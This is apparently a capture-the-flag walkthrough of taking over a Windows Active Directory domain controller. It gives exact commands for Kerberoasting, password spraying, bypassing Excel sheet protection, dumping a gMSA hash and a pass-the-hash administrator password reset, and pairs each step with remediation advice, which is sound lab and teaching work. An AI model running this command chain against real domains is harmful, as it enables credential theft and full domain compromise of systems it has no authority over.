← all walkthroughs

Search

Windows· Hard
owned
2026-07-15
time to own
14m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I identified a Windows Active Directory domain controller (search.htb) running a public IIS website. A staff-gallery photograph on that site contained a handwritten sticky note with a plaintext domain password, yielding the first foothold account (hope.sharp). With LDAP access, I dumped the directory, Kerberoasted a service account (web_svc), and cracked its hash; that same password was [REDACTED: recovered credential] on a HelpDesk operator account. The HelpDesk account accessed an SMB share holding a credential spreadsheet whose Excel sheet-protection was bypassed by deleting a single XML tag, revealing Sierra.Frye's password and the user flag. BloodHound ACL analysis showed Sierra.Frye's membership in the [REDACTED: recovered credential] group — which held ReadGMSAPassword over the group-managed service account BIR-ADFS-GMSA$ — and that gMSA in turn held ForceChangePassword over a domain administrator. Chaining those two ACL delegations gave me full domain control.

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and vhost enumeration (T1046)
Mapped the attack surface and resolved the domain
A full TCP scan of <retired-instance-ip> revealed a complete Active Directory domain controller stack for search.htb: DNS (53), Kerberos (88), LDAP/LDAPS (389/636), SMB (445), RPC (135/593), and an IIS web server on both 80 and 443. Adding the domain to local DNS resolution made the web application accessible for manual inspection.
Exact commands 2
Full TCP scan with version detection.
nmap -sC -sV -p- --min-rate 5000 -oN nmap-full.txt $TARGET
Resolve the discovered AD domain to the target IP.
echo '$TARGET search.htb' | sudo tee -a /etc/hosts
2Credential DiscoveryCredential recovery from publicly accessible image (T1598)
Recovered domain credentials from a handwritten note embedded in a staff photo
Browsing the IIS website's 'Our Features' gallery revealed a staff photograph containing a handwritten sticky note reading 'Send password to Hope Sharp' with a plaintext password alongside it. OCR-reading the enlarged image yielded valid Active Directory credentials for hope.sharp, which authenticated successfully against LDAP.
hope.sharp / [REDACTED: recovered credential] authenticated against LDAP on 10.129.229.57.
Exact commands 2
Download the image containing the handwritten note and OCR it; substitute the actual filename from the gallery page.
wget -q 'http://$TARGET/<gallery-image>.jpg' -O staff-note.jpg && tesseract staff-note.jpg stdout
Validate the recovered credentials against the domain controller.
nxc ldap $TARGET -d search.htb -u 'hope.sharp' -p '[REDACTED: recovered credential]'
FixRemove credentials from publicly visible images and documentsCritical
WeaknessA staff photograph on the public-facing IIS website contained a handwritten sticky note with a plaintext Active Directory username and password, giving any website visitor a valid domain credential without any authentication or exploitation.
FixConduct an immediate audit of all published images, PDFs, and documents for visible sensitive content and remove or replace any that contain credentials, keys, or internal system names. Adopt and enforce a policy prohibiting the display or photography of credentials. Rotate any account credentials that were exposed in published material, and include credential-handling in annual security-awareness training.
3EnumerationLDAP enumeration + Kerberoasting (T1558.003)
Dumped Active Directory and Kerberoasted the web_svc service account
Using hope.sharp's credentials, ldapdomaindump pulled all domain users, groups, and attributes. The web_svc account had a registered Service Principal Name (SPN), making its password hash requestable by any domain user. GetUserSPNs.py retrieved a Kerberos TGS ticket for web_svc, and hashcat cracked the hash offline against rockyou.txt, recovering web_svc's plaintext password.
Exact commands 3
Dump all AD objects to JSON/HTML files for offline analysis.
ldapdomaindump -u 'search.htb\hope.sharp' -p '[REDACTED: recovered credential]' $TARGET -o ldap-dump/
Request TGS tickets for all SPN-bearing accounts; save raw hashes.
GetUserSPNs.py search.htb/hope.sharp:'[REDACTED: recovered credential]' -dc-ip $TARGET -request -outputfile kerberoast.txt
Crack the Kerberos TGS-REP hash offline to recover web_svc's plaintext password.
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --force
FixProtect Kerberoastable service accounts with long random passwords or migrate to gMSAHigh
WeaknessThe web_svc service account had a registered Service Principal Name and a password weak enough to be cracked offline — within minutes — from its Kerberos service ticket using a standard wordlist. Any domain user can silently request this ticket.
FixSet all SPN-bearing service accounts to randomly generated passwords of at least 25 characters (a password manager or PowerShell's [System.Web.Security.Membership]::GeneratePassword() makes this operationally simple). Better: migrate service accounts to Group Managed Service Accounts (gMSA) so Windows automatically rotates the password. Audit SPNs quarterly with Get-ADUser -Filter {ServicePrincipalName -ne '$null'} and remove stale registrations.
4Lateral MovementPassword spraying across domain group members (T1110.003)
Sprayed the cracked password across HelpDesk accounts and found reuse
The ldapdomaindump output identified members of the HelpDesk group. The password recovered from web_svc was sprayed across every HelpDesk user account; one operator account accepted it, demonstrating that the service-account password had been manually copied to a human account — a common credential-hygiene failure in Windows environments.
Exact commands 2
Extract HelpDesk group member usernames from the LDAP dump.
grep -i 'helpdesk' ldap-dump/domain_users.grep | awk '{print $3}' > helpdesk-users.txt
Spray; replace <web_svc-cracked-password> with the hashcat result. Note the account that returns [+].
nxc smb $TARGET -d search.htb -u helpdesk-users.txt -p '<web_svc-cracked-password>' --continue-on-success
FixEliminate password reuse between service accounts and user accountsHigh
WeaknessThe password cracked for the web_svc service account was also set on at least one human operator account in the HelpDesk group. A single cracked hash therefore unlocked a second, differently-privileged account with no further effort.
FixEnforce unique passwords across all accounts using Active Directory Fine-Grained Password Policies (PSOs), configured to prohibit reuse of the last 24 passwords. Deploy a banned-password list that blocks service-account names and common corporate patterns. Run a proactive credential-audit (Invoke-TrimarcADChecks or similar) to detect existing reuse and force resets before unauthorized users exploit them.
5ExploitationExcel sheet-protection bypass via XML manipulation
Bypassed Excel sheet-protection to extract Sierra.Frye's credentials
The HelpDesk operator's SMB access exposed a share containing a password-protected Excel spreadsheet. Excel's sheet-level protection is stored as a single XML attribute in the .xlsx archive that can be deleted without knowing the original password. Unzipping the file, removing the <sheetProtection> element from the worksheet XML, and rezipping produced a fully readable document that disclosed additional staff credentials, including Sierra.Frye's domain password.
Sierra.Frye / [REDACTED: recovered credential] recovered from the unprotected spreadsheet.
Exact commands 4
Download the protected XLSX; substitute share name, HelpDesk username, password, and filename.
smbclient //$TARGET/<share-name> -U 'search.htb/<helpdesk-user>%<cracked-password>' -c 'get <spreadsheet>.xlsx /tmp/creds.xlsx'
Unpack the XLSX archive.
unzip /tmp/creds.xlsx -d /tmp/xlsx-raw/
Strip the protection element; adjust the sheet filename if needed.
sed -i 's/<sheetProtection[^/]*\/>//g' /tmp/xlsx-raw/xl/worksheets/sheet1.xml
Rezip and open — credentials are now visible in plain text.
cd /tmp/xlsx-raw && zip -r /tmp/creds-unlocked.xlsx . && libreoffice --calc /tmp/creds-unlocked.xlsx
FixReplace Excel sheet-protection with proper access controls for credential storageHigh
WeaknessA spreadsheet containing domain account credentials was stored on an SMB share and 'protected' only by Excel's sheet-level password, which is a single XML attribute deletable without knowing the original password. Any user who can read the file from the share can bypass the protection in seconds.
FixDo not treat Excel sheet-protection as a security control — it provides no encryption and no real access restriction. Store credentials in a purpose-built secrets manager (e.g. HashiCorp Vault, CyberArk, or Windows DPAPI-backed Credential Manager). Restrict the SMB share ACL so only accounts with a documented business need can read the folder, and remove plaintext credential files entirely. If a spreadsheet is unavoidable, encrypt the file at rest with a strong passphrase and distribute it only over encrypted channels.
6User OwnedAuthenticated SMB file retrieval (T1039)
Retrieved the user flag from Sierra.Frye's redirected desktop via SMB
Sierra.Frye's credentials granted read access to the RedirectedFolders$ share, which hosts roaming desktop directories for domain users. The user flag was downloaded directly from the SMB path without requiring an interactive shell.
smbclient //<retired-instance-ip>/RedirectedFolders$ -U 'search.htb/Sierra.Frye%[REDACTED: recovered credential]' confirmed access; user.txt retrieved from sierra.frye/Desktop/.
Exact commands 2
Enumerate redirected home directories.
smbclient //$TARGET/RedirectedFolders$ -U 'search.htb/Sierra.Frye%[REDACTED: recovered credential]' -c 'ls'
Retrieve the user flag — displayed value is [REDACTED: flag].
smbclient //$TARGET/RedirectedFolders$ -U 'search.htb/Sierra.Frye%[REDACTED: recovered credential]' -c 'get sierra.frye/Desktop/user.txt /tmp/user.txt' && cat /tmp/user.txt
7Privilege EscalationgMSA password retrieval via ReadGMSAPassword ACL (T1552.004)
Retrieved the gMSA NTLM hash via Sierra.Frye's [REDACTED: recovered credential] group membership
BloodHound ACL analysis showed that Sierra.Frye is a member of the [REDACTED: recovered credential] group, and [REDACTED: recovered credential] holds ReadGMSAPassword rights over the group-managed service account BIR-ADFS-GMSA$. gMSADumper.py retrieved the current NTLM hash for BIR-ADFS-GMSA$ — a credential that can be used directly in pass-the-hash attacks without cracking.
BIR-ADFS-GMSA$ NTLM: [REDACTED: protected value]; PrincipalsAllowedToReadPassword: [REDACTED: recovered credential] confirmed in replication log.
Exact commands 3
Collect BloodHound data; import the JSON files into the BloodHound UI and inspect outbound ACL edges from Sierra.Frye and the [REDACTED: recovered credential] group.
bloodhound-python -u 'Sierra.Frye' -p '[REDACTED: recovered credential]' -d search.htb -dc $TARGET -c All
Retrieve the BIR-ADFS-GMSA$ NTLM hash via [REDACTED: recovered credential]'s ReadGMSAPassword right.
python3 gMSADumper.py -u 'Sierra.Frye' -p '[REDACTED: recovered credential]' -d search.htb -l $TARGET
Alternative: NetExec --gmsa module returns the same hash.
nxc ldap $TARGET -d search.htb -u 'Sierra.Frye' -p '[REDACTED: recovered credential]' --gmsa
FixApply least-privilege to gMSA read access and remove write ACLs over administrative accountsCritical
WeaknessThe [REDACTED: recovered credential] group — containing regular staff accounts such as Sierra.Frye — was granted ReadGMSAPassword over BIR-ADFS-GMSA$, and that gMSA held ForceChangePassword (or equivalent write rights) over a domain administrator account. Any [REDACTED: recovered credential] member could chain these two delegations to reset a domain admin's password and achieve full domain compromise without exploiting any software vulnerability.
FixImmediately audit and correct both delegations: (1) restrict BIR-ADFS-GMSA$'s PrincipalsAllowedToReadPassword to only the specific host or scripting service accounts that genuinely need it — not broad user groups; (2) remove the ForceChangePassword or GenericAll ACE from BIR-ADFS-GMSA$ over all Tier-0 accounts, replacing it with the minimum right actually required. Establish a recurring BloodHound or PingCastle review (at minimum quarterly) to catch new ACL paths from low-privilege principals to administrative accounts before unauthorized users do.
8Domain CompromiseForceChangePassword ACL abuse via pass-the-hash (T1098 / T1550.002)
Reset an administrator's password using the gMSA's ForceChangePassword right and owned the domain
BloodHound showed BIR-ADFS-GMSA$ held ForceChangePassword (or GenericAll) over a domain administrator account (e.g. Tristan.Davies). Authenticating as BIR-ADFS-GMSA$ via pass-the-hash, bloodyAD reset the administrator's password. An evil-winrm session as that account yielded the root flag and full domain control.
Exact commands 3
Pass-the-hash as the gMSA to force-reset the admin's password; substitute the actual admin account name if different.
bloodyAD -u 'BIR-ADFS-GMSA$' -p ':[REDACTED: protected value]' -d search.htb --host $TARGET set password Tristan.Davies '[REDACTED: recovered credential]'
Open an interactive WinRM shell as the newly controlled administrator.
evil-winrm -i $TARGET -u 'Tristan.Davies' -p '[REDACTED: recovered credential]'
Read the root flag — value is [REDACTED: flag].
type C:\Users\Administrator\Desktop\root.txt
FixApply least-privilege to gMSA read access and remove write ACLs over administrative accountsCritical
WeaknessThe [REDACTED: recovered credential] group — containing regular staff accounts such as Sierra.Frye — was granted ReadGMSAPassword over BIR-ADFS-GMSA$, and that gMSA held ForceChangePassword (or equivalent write rights) over a domain administrator account. Any [REDACTED: recovered credential] member could chain these two delegations to reset a domain admin's password and achieve full domain compromise without exploiting any software vulnerability.
FixImmediately audit and correct both delegations: (1) restrict BIR-ADFS-GMSA$'s PrincipalsAllowedToReadPassword to only the specific host or scripting service accounts that genuinely need it — not broad user groups; (2) remove the ForceChangePassword or GenericAll ACE from BIR-ADFS-GMSA$ over all Tier-0 accounts, replacing it with the minimum right actually required. Establish a recurring BloodHound or PingCastle review (at minimum quarterly) to catch new ACL paths from low-privilege principals to administrative accounts before unauthorized users do.

Attack patterns used

The transferable techniques behind this compromise.

gMSA Password ReadActive Directory · Credential AccessT1555

What it is

Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If I control (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.

Why it works

gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
443/tcp
445/tcp
464/tcp
593/tcp
636/tcp
8172/tcp
9389/tcp
49667/tcp
49693/tcp
49694/tcp
49709/tcp
49726/tcp
49746/tcp